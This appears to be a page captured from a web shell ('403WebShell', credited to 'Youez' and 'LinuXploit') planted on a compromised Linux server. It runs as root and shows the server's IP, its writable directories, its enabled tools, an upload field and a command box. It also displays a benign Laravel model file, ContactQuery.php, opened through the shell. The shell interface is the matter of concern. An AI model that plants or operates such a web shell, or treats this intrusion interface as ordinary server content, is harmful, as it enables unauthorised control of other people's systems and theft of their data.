Uname:Linux machinox-server 6.17.0-1013-aws #13~24.04.1-Ubuntu SMP Fri Apr 24 21:36:58 UTC 2026 aarch64

Base Dir : /var/www/machinox.in

User : root


403WebShell
403Webshell
Server IP : 13.235.167.51  /  Your IP : 216.73.217.116
Web Server : Apache
System : Linux machinox-server 6.17.0-1013-aws #13~24.04.1-Ubuntu SMP Fri Apr 24 21:36:58 UTC 2026 aarch64
User : root ( 0)
PHP Version : 8.2.29
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/app.machinox.in/app/Models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/app.machinox.in/app/Models/ContactQuery.php
<?php

namespace App\Models;

use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\Factories\HasFactory;

class ContactQuery extends Model
{
    use HasFactory;
    /**
     * The attributes that are mass assignable.
     *
     * @var list<string>
     */
    protected $fillable = [
        'user_id',
        'name',
        'email',
        'message',
        'mobile_number'
    ];

    protected $hidden = [
        'updated_at'
    ];

    public function user()
    {
        return $this->belongsTo(User::class, 'user_id', 'id');
    }

    public const PerPageRecord = "10";

    public static function GetContactQueries($request, $status)
    {

        $keyword = getValue($request->input('keyword'));
        $offset = getValue($request->input('offset'), 0);
        $sort_by = getValue($request->input('sort_by'), 'created_at');
        $order_by = getValue($request->input('order_by'), 'DESC');

        $query = self::query()
            ->with('user')
            ->when($keyword, function ($query) use ($keyword) {
                $query->Where('name', 'LIKE', '%' . $keyword . '%');
                $query->orWhere('message', 'LIKE', '%' . $keyword . '%');
            })
            ->where('status', $status)
            ->orderBy($sort_by, $order_by);

        $countQuery = (clone $query);
        $total = $countQuery->count();

        $perPage = self::PerPageRecord;
        $currentPage = max(1, (int)$offset + 1); // since your offset is page-indexed (0-based)
        $totalPages = $perPage > 0 ? (int) ceil($total / $perPage) : 0;

        $query->orderBy($sort_by, $order_by)
            ->offset($offset * $perPage)
            ->limit($perPage);

        $list = $query->get();
        $nextOffset = ($list->count() === $perPage && $currentPage < $totalPages) ? ($offset + 1) : -1;

        $data = [
            'count' => $total,
            'list' => $list,
            'current_page' => $currentPage,
            'next_offset' => $nextOffset,
            'per_page' => $perPage,
            'total_pages' => $totalPages,
        ];

        return $data;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit